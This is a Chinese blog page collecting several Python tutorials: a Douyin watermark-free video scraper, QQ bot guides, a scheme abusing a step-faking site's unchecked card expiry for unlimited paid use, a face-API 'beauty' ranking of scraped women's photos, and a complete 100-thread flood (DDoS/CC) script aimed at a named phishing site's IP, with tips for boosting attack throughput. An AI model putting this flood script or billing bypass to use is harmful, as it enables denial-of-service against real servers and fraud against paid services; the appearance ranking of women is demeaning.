文章最后更新时间:
示例视频: https://v.douyin.com/tbXQ9N/
推荐:谷歌浏览器
一. 找到这个页面的数据请求
用谷歌浏览器打开这个链接,可以看到标题栏里视频链接302跳转,成了另一个链接:
https://www.iesdouyin.com/share/video/6560551973479779591/?region=CN&mid=6560552003767012100&u_code=idc3k7bl&titleType=title&utm_source=copy_link&utm_campaign=client_share&utm_medium=android&app=aweme
按F12打开浏览器的开发者工具,切换到network标签,按上方的模拟终端按钮,切换到手机web形式。
然后刷新一下页面,我们可以看到network标签里,有很多的请求日志。
这里大部分的请求都是图片,js,css这种,这些是定义页面的样式和功能的,在这里我们并不需要。
切换到XHR(俗称AJAX)过滤,可以看到我们需要的数据请求:
一共有4个。分别点开这4个的Preview,查看这4个请求的返回数据。
在 ?items_id= 这个请求中,找到了2个视频的播放地址:
随便复制一个视频地址到浏览器打开,看到了无水印的视频(注意一定要切换到手机模拟模式)
二. 分析数据请求的参数
切换到headers标签,可以看到这次请求提交的参数
可以看到,这是一个GET请求,在url里传递了items_id和dytk这两个参数。
看到这个items_id是不是有点熟悉?看一下地址栏,这个id就在地址栏的url里:
https://www.iesdouyin.com/share/video/6560551973479779591/?region=…
另一个参数dytk暂时不知道,我们试一下去掉这个参数,请求一下看看:
一样也成功返回了地址。
三. 分析总结
通过上面的分析,步骤总结如下:
-
访问链接,通过跳转的地址拿到视频ID。
-
通过XHR中的 ?item_id= 这个链接,传递视频ID,拿到视频播放地址
-
拿到的播放地址就是无水印的视频地址
API接口:https://www.iesdouyin.com/web/api/v2/aweme/iteminfo/?item_ids=视频ID
四.python实现
import requests
import re
api = 'https://www.iesdouyin.com/web/api/v2/aweme/iteminfo/?item_ids={}'
headers = {
'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'
}
def parse_video(videoUrl):
r = requests.get(videoUrl, headers=headers)
realUrl = r.url
realUrl = realUrl.split('?')[0]
videoId = re.findall('d+', realUrl)[0]
apiUrl = api.format(videoId)
r = requests.get(apiUrl, headers=headers)
result = r.json()
items = result.get('item_list')
item = items[0]
video = item.get('video')
address = video.get('play_addr').get('url_list')
return address[0]
if __name__ == '__main__':
parse_video('https://v.douyin.com/tbXQ9N/')
运行结果:
https://aweme.snssdk.com/aweme/v1/play/?video_id=v0200ff50000bc5s6gj3ft9inuibot10&line=0&ratio=540p&media_type=4&vr_type=0&improve_bitrate=0&is_play_url=1&is_support_h265=0&source=PackSourceEnum_PUBLISH
如何优雅地跟盗号网站玩耍(python多线程和http请求基础)
misery阅读(6684)
一、背景
今天在群里,看到有个大佬发了个盗号网站的链接:http://154.221.20.240/Mali1/
这个网站伪装成qq邮箱登录,实际上就是骗你的qq号的,在手机上打开还真像那么回事。
之前也D过不少盗号网站,但总觉得独乐乐不如众乐乐,今天就想着把过程写下来,给大家看看。大家
没事的时候看到这种盗号网站也可以去练练手。本文章也仅仅是从较为简单的DDOS入手,至于更加高深
的渗透,博主不会,大多数人也不会,所以也就不考虑了。
二、分析网站
通过wappalyzer,可以看到这个网站运行在一台windows服务器上,一个简单的asp网页:
服务器地址在美国,web应用程序是IIS。
F12打开浏览器控制台,随便输入一个账号密码看看:
捕获了一个post请求,地址为:http://154.221.20.240/Mali1/4.asp?sn_sid=
网页反馈密码错误,然后跳到了qq邮箱的官网。
post的参数如下:
这个参数名是认真的么 – -!
我们要进行DDOS,那么就要从这个post请求入手。
三、构建DDOS程序
我们可以使用python的requests库构建http post请求,使用random库生成随机账号密码,并使用多线程来实现DDOS。
1.构建随机账号密码
def random_user_pass():
user = random.randint(10**5,10**10) #随机5-10位QQ号
password = ''
password_len = random.randint(9,28) #随机9-28位密码
for i in range(password_len):
code = random.randint(48,122) #取ASCII码48-122转为字符串
password += chr(code)
return user,password
运行一下,随机生成了一个账号密码:
(3301962676, 'akDk@Qb3Xe71ojwap2e>Qctq@')
2.调用生成的账号密码,post给盗号网站
原理很简单,就是通过requests构建post请求,将数据发送给盗号网站,模拟网页“登录”的操作。
def d_dos():
session = requests.session()
session.headers = header
while True:
user,password = random_user_pass()
data = {
'qq':user,
'mima':password,
'MM_insert':'form1'
}
r = session.post(api,data=data,timeout=5)
code = r.status_code
if code == 200:
print('提交成功...OK! 账号:{},密码: {}'.format(user,password))
else:
print('提交失败...failed!')
运行一下,一瞬间提交给了盗号网站N多随机账号密码:
3.加点错误处理,保证稳定运行
上面程序设置了超时为5秒,当连接超时会报错。在http请求中,会有各种各样的错误,导致程序崩溃,所以我们这里就简单粗暴加一*个忽略所有错误的错误处理:
try:
r = session.post(api,data=data,timeout=5)
except:
print('报错,直接跳过...')
continue
4.加个多线程
单线程的请求当然是搞不死这个网站的,所以我们要对这个程序使用多线程处理:
thread_num = 100
for i in range(thread_num):
threading.Thread(target=d_dos).start()
print('线程{}启动...'.format(i))
这样我们就成功实现了100线程的同时请求,运行一下:
控制台疯狂刷新。
5.优化一下,加个线程锁
到上一步其实这个简单的程序已经可以使用了,但是还不够人性化,最好能显示出提交的次数,失败的次数等。但是这里是多线程,如果直接定义一个变量来存储次数的话,100个线程一起修改这个变量,最后一定会崩。好在python的多线程模块提供了线程锁,我们可以先对变量加锁,修改完了再解锁。
完整代码如下
import requests
import threading
import random
from datetime import datetime
from time import sleep
lock = threading.Lock()
api = 'http://154.221.20.240/Mali1/4.asp?sn_sid='
header = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'
}
success_count = 0
error_count = 0
def log(text):
print(datetime.now().strftime('%Y-%m-%d %H:%M:%S'),text)
def d_dos():
session = requests.session()
session.headers = header
global error_count
global success_count
while True:
user,password = random_user_pass()
data = {
'qq':user,
'mima':password,
'MM_insert':'form1'
}
try:
r = session.post(api,data=data,timeout=5)
except:
lock.acquire()
log('报错,直接跳过... *{}'.format(error_count))
error_count += 1
lock.release()
continue
code = r.status_code
lock.acquire()
if code == 200:
log('提交成功...OK! *{} 账号:{},密码: {}'.format(success_count,user,password))
success_count +=1
else:
log('提交失败...failed! *{} 状态码:{}'.format(error_count,r.status_code))
error_count += 1
lock.release()
def random_user_pass():
user = random.randint(10**5,10**10)
password = ''
password_len = random.randint(9,28)
for i in range(password_len):
code = random.randint(48,122)
password += chr(code)
return user,password
if __name__ == '__main__':
thread_num = 100
for i in range(thread_num):
threading.Thread(target=d_dos).start()
log('线程{}启动...'.format(i))
sleep(0.1)
四、其他
以下几点注意:
1. requests库python不自带,用pip安装即可
2. 因为是示范用的代码,代码写的十分辣眼睛,还有很多优化空间,不要介意
3. 把控制台输出去掉,可以极大提升DDOS的性能(去掉print的代码)
4. 因为python的多线程机制,和requests库的原因,建议不要开太高线程,电脑容易卡死
5. 如果想要用DDOS里的流量攻击,那么可以去下载他的静态资源或者web页面
6. 这个程序其实严格意义来说是cc攻击,并发提交大量的无意义数据,刷他的数据库
7. 不要用于正规网站,通过你的IP分分钟查得到你的人
python qq机器之 使用阿里云语音合成让机器人发送好听到炸裂的语音
misery阅读(5072)
上一篇文章我们写了用python实现qq机器人的基本操作:
本篇文章,我们来尝试使用语音合成技术,让机器人发送语音消息。博主尝试了市面上大多数知名的语音合成服务商,最后选择了阿里云。先来听一下阿里云语音合成的效果:
一 、 开通阿里云语音合成
语音合成项目地址: https://ai.aliyun.com/nls/tts
开通免费版本后,进入控制台,创建一个新的项目:
![图片[15]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/6bb52390911e879c759a11312f85308b.png)
然后进入你的项目,切换到“语音合成”,选择一个你喜欢的声音,点“发布上线”(上方有一个appkey,请记下来):
![图片[16]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/c51afdd67227a4f4fda45ed7dafb8819.png)
二、 阿里云接口调用之计算鉴权秘钥
阿里云的鉴权秘钥(Access Token)是对所有阿里云服务都适用的一种秘钥,就是说任意项目要请求阿里云的接口,都需要计算这个秘钥(区别于TTS接口鉴权)。我们在适用语音合成接口的时候,需要先用阿里云的开发者id和秘钥计算出鉴权秘钥,然后在通过这个鉴权秘钥组合语音合成(TTS)的appkey,来请求语音合成接口。因为鉴权秘钥存在过期时间,最好的解决方法就是,每次请求语音合成接口,都先计算一遍这个秘钥。
计算鉴权秘钥的官方文档:https://help.aliyun.com/document_detail/72153.html
为了方便我们使用SDK来操作。
Access Key: 阿里云开发者ID,又称为访问公钥。
Access Secret: 阿里云开发者秘钥,又称访问秘钥。
Access Token:通过Access Key 和 Access Secret 计算出来的鉴权秘钥,有时效性。
app key:项目的公钥,搭配Access Token来请求接口。
首先安装阿里云SDK核心库: 命令行执行 pip install aliyun-python-sdk-core
获取阿里云开发者ID和开发者秘钥:
https://usercenter.console.aliyun.com/manage/ak#/manage/ak (AccessKey和AccessSecret就是开发者ID和秘钥)
用python计算鉴权秘钥:
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.request import CommonRequest
import json
def get_aliyun_secret():
client = AcsClient('你的开发者ID',
'你的开发者秘钥',
'cn-shanghai'
)
request = CommonRequest()
request.set_method('POST')
request.set_domain('nls-meta.cn-shanghai.aliyuncs.com')
request.set_version('2019-02-28')
request.set_action_name('CreateToken')
r = client.do_action_with_exception(request)
r = json.loads(r.decode())
return r['Token'].get('Id')
三、 阿里云接口调用之语音合成
语音合成文档: https://help.aliyun.com/document_detail/94737.html
语音合成带有python的SDK,但是无法pip安装,比较麻烦,所以我们采用Restful API形式(http调用)。
http调用的方式,我们只需要用requests的post即可,将相关参数post到阿里云接口,即可返回音频。
import requests
import base64
def tts(text):
data = {
'appkey':'你的appkey', #语音合成项目里的appkey
"text": text, #要语音合成的文字
'token':get_aliyun_secret(), #上一步的鉴权秘钥
'format':'mp3', #合成语音的格式
"sample_rate": "16000", #比特率
"volume":'90', #音量
"pitch_rate":'0', #语调
"speech_rate":'-250', #语速
"voice":'Siyue' #发音人 参数详见 https://help.aliyun.com/document_detail/84435.html
}
header = {
"Content-Type": "application/json;charset=UTF-8"
}
r = requests.post('https://nls-gateway.cn-shanghai.aliyuncs.com/stream/v1/tts',data=json.dumps(data),headers=header)
return base64.b64encode(r.content).decode()
运行后会返回base64编码的语音。
四、使用酷Q pro
免费版的酷Q Air不支持发送语音,我们需要去下载一个酷Q pro,然后开个会员…
下载地址: https://cqp.cc/t/14901
然后按照上一篇文章的方法,配置酷Q http API。
五、发送语音
以发送群聊语音为例:
def send_record(group_id,text):
api_url = 'http://127.0.0.1:5700/send_msg'
data = {
'msg_type': 'group',
'group_id':group_id,
'message':'[CQ:record,file=base64://{}]'.format(tts(text))
}
requests.post(api_url,data=data)
调用这个方法,传入qq群号,和要发送的文本,即可直接把文字转成语音发送到群聊啦。
![图片[17]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/3074071b77f0e7810ac25a911b276825.png)
六、 完整代码
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.request import CommonRequest
import json
import requests
accessKey = ''
accessSecret = ''
appKey = ''
botServerApi = 'http://127.0.0.1:5700/send_msg'
def get_aliyun_secret():
client = AcsClient(accessKey,accessSecret,'cn-shanghai')
request = CommonRequest()
request.set_method('POST')
request.set_domain('nls-meta.cn-shanghai.aliyuncs.com')
request.set_version('2019-02-28')
request.set_action_name('CreateToken')
r = client.do_action_with_exception(request)
r = json.loads(r.decode())
return r['Token'].get('Id')
def tts(text):
data = {
'appkey':'你的appkey', #语音合成项目里的appkey
"text": text, #要语音合成的文字
'token':get_aliyun_secret(), #上一步的鉴权秘钥
'format':'mp3', #合成语音的格式
"sample_rate": "16000", #比特率
"volume":'90', #音量
"pitch_rate":'0', #语调
"speech_rate":'-250', #语速
"voice":'Siyue' #发音人 参数详见 https://help.aliyun.com/document_detail/84435.html
}
header = {
"Content-Type": "application/json;charset=UTF-8"
}
r = requests.post('https://nls-gateway.cn-shanghai.aliyuncs.com/stream/v1/tts',data=json.dumps(data),headers=header)
return base64.b64encode(r.content).decode()
def send_record(group_id,text):
api_url = 'http://127.0.0.1:5700/send_msg'
data = {
'msg_type': 'group',
'group_id':group_id,
'message':'[CQ:record,file=base64://{}]'.format(tts(text))
}
requests.post(api_url,data=data)
if __name__ == '__main__':
send_record(12345678,'今天天气真不错')
使用python打造一个自己的QQ机器人 【基础篇】
misery阅读(1W+)
webQQ在今年1月已经停止服务了。想用python写一个QQ机器人,但是python的QQbot库因为webQQ停止服务,挂得不能再彻底了。后来google了好几天,终于在github找到了一个神奇的插件=coolq-http-api。
这个插件的神奇之处在于,它运行一个server,把qq信息转成http形式。发送,接收信息的时候,只需要使用http请求,即可和server进行交互,非常方便,也非常使用python(requests库无敌)。当然,插件运行基于酷Q,需要用酷Q加载插件才能正常使用。
要实现用python发送/接收消息,要用requests发送http请求之外,还要用flask在本地搭建一个flask服务端,告知插件flask服务器的地址和端口,这样所有的qq消息都会自动传递给flask,我们可以根据消息的来源,内容,自动判断是否要回复(用requests向酷Q进行http请求)即可。原理图如下:
![图片[18]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/b1db0fd055db40f410f54c89b3c5571c.png)
一、 准备工作
- 酷Q下载安装: https://cqp.cc/t/23253 下载任意版本,右键解压即可使用。
- 插件下载安装: https://github.com/richardchien/coolq-http-api/releases 下载cpk文件,放到酷Q的app文件夹中
- python下载安装:这个就不说了,说太多次了,去官网下载安装包,一键安装就行了,注意要使用python3版本。
- python IDE下载安装:推荐使用pycharm,具体安装过程略。也是一键安装。
搞定后你的酷Q app文件夹下应该是这样的:
![图片[19]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/a0d246628af81ff0e5aab2d0e94198a5.png)
- 启动酷Q主目录下的CQA.exe,打开酷Q登录你要做机器人的QQ号,建议使用小号,防止被封。
- 由于酷Q使用的是手机TIM协议,成功上线后, 你可以看到小号为TIM在线。
![图片[20]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/ea805596942cb4bb4461b0831bacade1.png)
- 右键酷Q的小图标,进入应用管理,找到HTTP API直接启用。
![图片[21]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/5ad06e01e115c04c7955da7558c56cb1.png)
![图片[22]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/b2687f84b797159fd9afaacde448bdb1.png)
![图片[23]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/ddf9cf1ef08cd52488386d7724e66201.png)
![图片[24]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/1439fe941d8a957c4cc77c5fdae433a2.png)
![图片[25]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/89c42b2d8e7209b8b44066b542869950.png)
成功启用后,会弹出一个控制台窗口,提示正在监听5700端口。
二、 配置酷Q httpApi插件
插件的配置文档: http://richardchien.gitee.io/coolq-http-api/docs/
配置文件在酷Q Airdataappio.github.richardchien.coolqhttpapiconfig 文件夹下,是一个以QQ名称命名的json文件。
以下几项配置比较关键:
- port : 酷Q server监听的端口,可自定义。
- use_http:务必是true,除非你使用websocket。
- post_url:flask服务端接收消息的接口,可自定义。
- post_message_format:酷Q向flask发送消息的格式,建议改成array。
其他的配置项可见文档: https://richardchien.gitee.io/coolq-http-api/docs/4.12/#/Configuration?id=%E9%85%8D%E7%BD%AE%E9%A1%B9
附上自己的简单配置:
![图片[26]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/0eae5aecf5734a3e889b453fae129fff.png)
三、用python发送自己的第一条QQ消息
先悄悄用pip安装一个requests库….
插件的api文档: https://richardchien.gitee.io/coolq-http-api/docs/4.12/#/API
我们看下发送私聊消息的接口:
![图片[27]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/c1667be7ec458eaedc24febece03119c.png)
用requests构造一个http post请求,post的数据填入相关信息:
import requests
data = {
'user_id':723690032,
'message':'我是一个可爱的小机器人喵~',
'auto_escape':False
}
api_url = 'http://127.0.0.1:5700/send_private_msg'
#酷Q运行在本地,端口为5700,所以server地址是127.0.0.1:5700
r = requests.post(api_url,data=data)
print(r.text)
![图片[28]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/f6dbc7a4f79370e76459eab30d358904.png)
四、接收第一条QQ消息
同样先悄咪咪安装一个flask….
from flask import Flask,request
from json import loads
bot_server = Flask(__name__)
@bot_server.route('/api/message',methods=['POST'])
#路径是你在酷Q配置文件里自定义的
def server():
data = request.get_data().decode('utf-8')
data = loads(data)
print(data)
return ''
if __name__ == '__main__':
bot_server.run(port=5701)
#端口也是你在酷Q配置文件里自定义的
运行一下这个flask程序,然后用自己的QQ给你的机器人随便发条信息:
![图片[29]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/1350bbd3dc78f17eda4938a09467e706.png)
{'font': 65320440, 'message': [{'data': {'text': '你才不是可爱的小机器人呢'}, 'type': 'text'}], 'message_id': 8, 'message_type': 'private', 'post_type': 'message', 'raw_message': '你才不是可爱的小机器人呢', 'self_id': 766202408, 'sender': {'age': 0, 'nickname': 'Misery_', 'sex': 'unknown', 'user_id': 723690032}, 'sub_type': 'friend', 'time': 1573044578, 'user_id': 723690032}
控制台打印的内容是一个python的字典格式,我们可以优化一下,取出需要的信息,如QQ号,昵称,消息内容:
QQ = data.get('user_id')
nickname = data['sender'].get('nickname')
message = data['message'][0]['data'].get('text')
print('来自QQ:{},昵称:{} 的信息:n{}'.format(QQ,nickname,message))
![图片[30]-关于抖音视频无水印解析的方法 (附最新接口)-Zuozi](/wp-content/uploads/replace/c0ebbf391599c87220703cc780e05fc1.png)
五、后记
到这里,你就写出了一个hello world QQ机器人,想实现更多的功能,需要多去研究研究API,多研究研究python。这个插件功能相当强大,几乎涵盖了所有的QQ功能。博主曾经写过一个,可以对接某面板,涵盖登录,查询,支付等多种功能,并带有群管模块,接入阿里云tts语音系统,实现语音聊天。真的非常强大,有兴趣的同学可以好好研究一下。
友情分析某刷步网站,开启微信永久自动云刷步模式
misery阅读(1W+)
最近偶然间发现了某个刷步网站,可以实现在线给微信刷步。http://vwshuabu.com/
这个网站可以实现网页刷步,不需要手机任何设置,把号挂在网页就可以实现云刷步了,感觉挺神奇的。抱着研究的态度,花了3块钱研究了下这个网站,找到了刷步的接口(相当弱)。这篇文章,就来讲一讲怎么找到这个接口,以及如何自己写程序,开启自动化云刷步。
一 分析刷步的接口
首先进入这个网站,选上方的 ‘网页刷步’,先花三块钱去买一个体验卡。
然后他会给你一个登录地址,和一个卡号:
我们去给的地址,选小秘书,然后输入你的卡密来激活。
激活完了点开始,来扫码登录你的微信:
完了会进入主菜单,在下面可以看到一个微信步数设置,还有一个自动化步数:
它这个自动化设置步数用起来有点问题,而且只支持设置最长一周,有点鸡肋。这里我们用直接设置步数的模式,写个程序来‘智能化’设置步数,让它看起来更加合理。
在这个页面,我们打开F12,切到network标签,直接设置一个比当前步数大的数字,来看下执行结果。
可以看到这是一个post的请求,post的数据只有「code」和「num」两个参数,分别对应的是你买的卡号和要设置的步数。这里要强调的是,这个网站似乎没对卡密做过期时间的核对,仅仅是卡密过期了不让你打开网页而已,对于http请求没有任何影响。
这就非常棒了,我们用python写一个程序,然后让程序每天定时发送请求,模拟正常的步数即可。
二 整理接口
1: 请求登录二维码接口:https://nb.fx7899.com/fetchimage?img=你的卡号
2: 设置步数接口: https://nb.fx7899.com/setRun/ 参数为卡号和步数
三 分析逻辑
这个程序其实相当简单,只要定时用requests来post一下你的步数就行了。为了让步数看起来更加科学,我们就需要使用随机步数+分段时间了。
这里我的方法是这样的:一天的时间从早上7点开始,到晚上22:40结束,把时间分为早,中,晚三段。每天随机一个10000-25000的数字作为步数,早上固定xx步-xx步,中午和晚上的步数占一个随机的百分比,最后,所有步数加起来等于总步数。然后在时间段内,每隔10分钟加一次步数,让步数做到缓慢增长。
最后在做一个定时任务,每天重复执行一次即可。
代码实现
设置步数:
import requests
import schedule
def add_step(step:int):
url = 'https://nb.fx7899.com/setRun'
header = {
'accept': 'application/json, text/javascript, */*; q=0.01',
'accept-language': 'zh-CN,zh;q=0.9',
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'origin': 'https://nb.fx7899.com',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
'x-requested-with': 'XMLHttpRequest'
}
data = {
'code': '',
'num': step
}
r = requests.post(url,data=data,headers=header)
success = r.json().get('status')
tip = r.json().get('message')
return success,tip
随机生成各个时间段的步数
def get_schedule():
all_step = random.randint(10000,25000)
wake_up_step = random.randint(1000,1500)
morning = random.randint(300,400)/10
afternoon = random.randint(350,450)/10
night = random.randint(150,350)/10
rest_step = all_step - wake_up_step
morning_step = rest_step*morning/100
afternoon_step = rest_step*afternoon/100
night_step = rest_step*night/100
return wake_up_step,morning_step,afternoon_step,night_step,all_step
判断当前的时间段
def get_now_duration():
now = datetime.now()
t = int(now.strftime('%H%M'))
if t in range(700,731):
return 1,t
elif t in range(830,1231):
return 2,t
elif t in range(1400,1731):
return 3,t
elif t in range(1900,2230):
return 4,t
else:
return 0,t
执行刷步
def main_handle():
wake_up_step,morning_step,afternoon_step,night_step,schedule_step = get_daily_schedule()
all_step = 0
while True:
duration,now = get_now_duration()
if now > 2330:
return
if duration == 1:
all_step += int(wake_up_step/3)
elif duration == 2:
all_step += int(morning_step/24)
elif duration == 3:
all_step += int(afternoon_step/21)
elif duration == 4:
all_step += int(night_step/21)
else:
continue
add_step(all_step)
sleep(599)
最后用一个定时任务库来每天开启一次
if __name__ == '__main__':
schedule.every().day.at('00:01').do(main_handle)
while True:
schedule.run_pending()
sleep(59)
四 后续
这个接口没有对卡号过期时间进行验证,所以我们只要买一张体验卡,就可以无限使用了。如果你想用其他的功能,同样的道理,F12,点击那个功能后,分析下请求地址,请求参数,用python或者postman直接构造请求就可以了。
在刷步期间请不要登录电脑或者ipad端的微信,这样会导致刷步掉线。如果你不慎顶号了,请看本文第二步中,那个微信登录二维码请求地址,直接在浏览器打开扫码登录即可。
这个东西也是无意间发现的,能用多久也不知道,就当娱乐了吧~
【肥宅快乐贴】使用百度人脸识别API,对爬取的小姐姐进行颜值排序
misery阅读(8395)
在上一篇文章中,我们用python实现了对图片网站上的小姐姐图片爬取:
https://www.xiaoweigod.com/code/1666.html
这篇文章就来演示一下,对爬取下来的小姐姐图片进行颜值判定,然后根据颜值高低来对图片进行排序。
颜值判定的API是百度的,这个API我测试过好多图,准确度还蛮高,且免费不限制使用次数(限速每秒2次),毕竟百度是国内大厂 (~ ̄▽ ̄)~。也希望大家手下留点情,不要把百度人脸识别API和小姐姐图片站给玩坏了
百度人脸识别项目:http://ai.baidu.com/tech/face/detect
环境准备:
python3,requests模块,百度人脸识别API。
python3怎么装我就不说了,requests模块的话,在python环境的电脑里,直接打开cmd,执行pip install requests 就可以了。
人脸识别API:打开http://ai.baidu.com/tech/face/detect 点立即使用,登录账号后创建一个应用,名字随便写:
创建完成后,在“管理应用”里面找到你的APPid,API key,Secret key就可以了。
一、逻辑分析
在正式开始写之前,需要把逻辑给分析清楚,然后根据这个逻辑,来编写相应的代码。在本篇文章的这个程序中,首先要把图片上传到百度云人脸识别服务器中进行识别,然后过滤掉没有人脸的图、男性的图和人脸置信度过低的图,然后再对图片进行颜值排序。
流程如下:
① 遍历本地文件夹中的图片
② 将本地照片上传到百度云的人脸识别服务器中,返回识别参数。
③ 分析返回的参数,过滤掉不是人脸的图片
④分析返回的参数,过滤掉男性的图片
⑤ 分析返回的参数,过滤掉人脸置信度过低的图片
⑥从返回的参数中取出图片的颜值,加上这张图片对应的路径,统一存放到一个字典中,格式为 {路径:颜值}
⑦ 循环取出字典中颜值最大的元素的路径和颜值,删除最大值,复制到新的文件夹,然后重命名文件为 排名+颜值。
二、分析百度人脸识别API
文档参考:http://ai.baidu.com/docs#/Face-Detect-V3/top
根据文档描述,可以看到,需要先使用你的API key和Secret id请求鉴权秘钥,然后再通过鉴权秘钥去请求人脸识别服务器。
1.计算鉴权秘钥(access_token)
运行结果:
这一串东西就是我们需要的鉴权秘钥。
2.发送图片到百度的人脸识别服务器
因为本次程序是识别本地的图片,所以我们不考虑文档中的网络图片和图片face_id的情况。
根据文档,我们需要发送的内容有:access_token(放在url参数里),图片的base64编码和图片的类型,请求的参数:beauty(颜值),gender(性别)。发送方式为 post。我们以识别下面这张图的小姐姐为例:
运行一下,成功返回了:
3.处理返回的数据
上一步中完整的返回数据如下:
{'error_code': 0, 'error_msg': 'SUCCESS', 'log_id': 7594757925058, 'timestamp': 1538733924, 'cached': 0, 'result': {'face_num': 1, 'face_list': [{'face_token': '8cea6b27151c7e5253d501fb14cda5fc', 'location': {'left': 342.3506775, 'top': 111.2269287, 'width': 89, 'height': 84, 'rotation': -16}, 'face_probability': 1, 'angle': {'yaw': 8.847219467, 'pitch': 6.044753075, 'roll': -17.03232384}, 'beauty': 65.53157043, 'gender': {'type': 'female', 'probability': 0.9999910593}}]}}
这是一组字典嵌套列表嵌套字典嵌套字典的数据。我们需要的数据如下:
error_code:判断是否成功识别 【0为成功,其他code为不成功】
result里的face_list里的的第1个元素中的 face_probability 【0-1,越大越可能是人脸】
result里的face_list里的的第1个元素中的 beauty 【0-100,越大颜值越高】
result里的face_list里的的第1个元素中的 gender 中的 type 【性别,male为男性,female为女性】
这些元素的访问方法如下:
运行一下看结果:
这里就获取到了我们需要的信息。
三、完整代码的实现
import requests from json import loads from base64 import b64encode import os import shutil
API_key = ‘改成你自己的’
Secret_key = ‘改成你自己的’
根据文档,定义获取access_token的url地址,传入API key和Secret key
token_url = token_url = ‘https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id={api_key}&client_secret={api_sec}’.format(api_key=API_key,api_sec=Secret_key)
请求秘钥,获得返回的文字内容
token_request = requests.get(token_url).text
将返回的内容格式化为字典形式,并访问字典中“access_token”的值
access_token = loads(token_request)[‘access_token’]
写一个函数
def AiFace(img_path):
url = ‘https://aip.baidubce.com/rest/2.0/face/v3/detect?access_token=’ + access_token #请求的url,加上access_token参数
img = open(img_path,‘rb’).read() #二进制方式读取图片
img_b64 = b64encode(img) #将图片转为base64编码
#发送的数据
data = {
‘image’:img_b64, #图片的base64编码
‘image_type’:‘BASE64’, #图片类型
‘face_field’:‘beauty,gender’, #需要返回的参数
‘max_face_num’:1 #每张图片中最多返回一张人脸
}
r = loads(requests.post(url,data).text) #请求一下,然后把返回的内容转化为字典形式
if r[‘error_code’] == 0: #如果识别成功,函数结束,return出结果
return r[‘result’][‘face_list’][0]
#如果不成功,那么啥都不return(None)
开始运行
img_folder = ‘d:/test/’ #图片文件夹
save_folder = ‘d:/result/’ #结果保存的文件夹
#
for root,path,files in os.walk(img_folder): #遍历图片文件夹
info_dic = {}
count = 0
for file in files:
complete_path = os.path.join(root,file) #获得文件的完整路径
if ‘.jpg’ in complete_path: #去除不是jpg的文件
count += 1
print(str(count)+‘-检测—>’+complete_path)
result = AiFace(complete_path) # 实例化函数
if result != None: #去除识别错误的文件(没有人脸)
face_probability = result[‘face_probability’] # 是人脸的可能性
beauty = round(result[‘beauty’], 2) # 颜值,保留二位小数
gender = result[‘gender’][‘type’] # 男女
if face_probability >0.75: #去除人脸置信度小于0.75的图片
if gender == ‘female’: #去除不是女性的图片
info_dic[complete_path] = beauty #结果保存到字典中 {文件路径:颜值}
print(‘—检测到人脸,颜值’+str(beauty)+‘分—‘)
os.makedirs(save_folder)
face_count = len(info_dic) #计算字典长度
for i in range(1,len(info_dic)+1): #遍历字典中的内容
max_beauty_file = max(info_dic,key=info_dic.get) #找到最高颜值对应的key(文件路径)
beauty_score = info_dic[max_beauty_file] #找打到最高颜值
img_name = str(i)+‘-(‘+str(beauty_score)+‘分).jpg’
shutil.copy(max_beauty_file,save_folder+img_name) #复制到新文件夹并改名为排名+颜值分
info_dic.pop(max_beauty_file) #删除字典中的这个元素
i+=1
print(‘n完成,共检测’+str(count)+‘张图片,其中’+str(face_count)+‘张有人脸’)
print(‘颜值排序已保存到:’+save_folder)
上面每一步都注释了,这里的颜值排行主要通过字典排序的算法实现。
随便找几张图测试一下:
运行结果:
排序文件夹:
、
【肥宅快乐贴】用python制作爬虫批量下载图片站上的漂亮小姐姐
misery阅读(7193)
本来想另外找一个漂亮小姐姐的图片站,可是百度了一下,那些网站的图片尺度略大,我的博客又是备案过的,不敢瞎搞,所以还是找了一个中规中矩的cosplay网站来写这篇文章。这个网站之前我用火车头爬过,看之前的文章:
https://www.xiaoweigod.com/share/1425.html
不过用这种爬虫软件来爬,说实话不如自己写程序来得方便。今天就来演示一下怎么用python来爬这个网站的图片。当然这篇文章的方法也适用于其他的图片站,大家学会了就可以自由发挥了(~ ̄▽ ̄)~。
准备工具:python环境的电脑,python的requests模块和beautifulsoup4模块,谷歌浏览器,有一点代码基础。
目标站:http://www.cosplaymore.com/
目标:爬取cos板块所有帖子中的图片。
一、环境配置
这篇文章我们用的是python3环境,可以直接去python官网下载:https://www.python.org/downloads/
下载完了直接安装就行。requests模块和beautifulsoup4模块直接在cmd里执行pip install requests 和 pip install beautifulsoup4就行了。
这里不多说,如果连安装都有问题,那么下面可能就不用看了。
二、分析网页
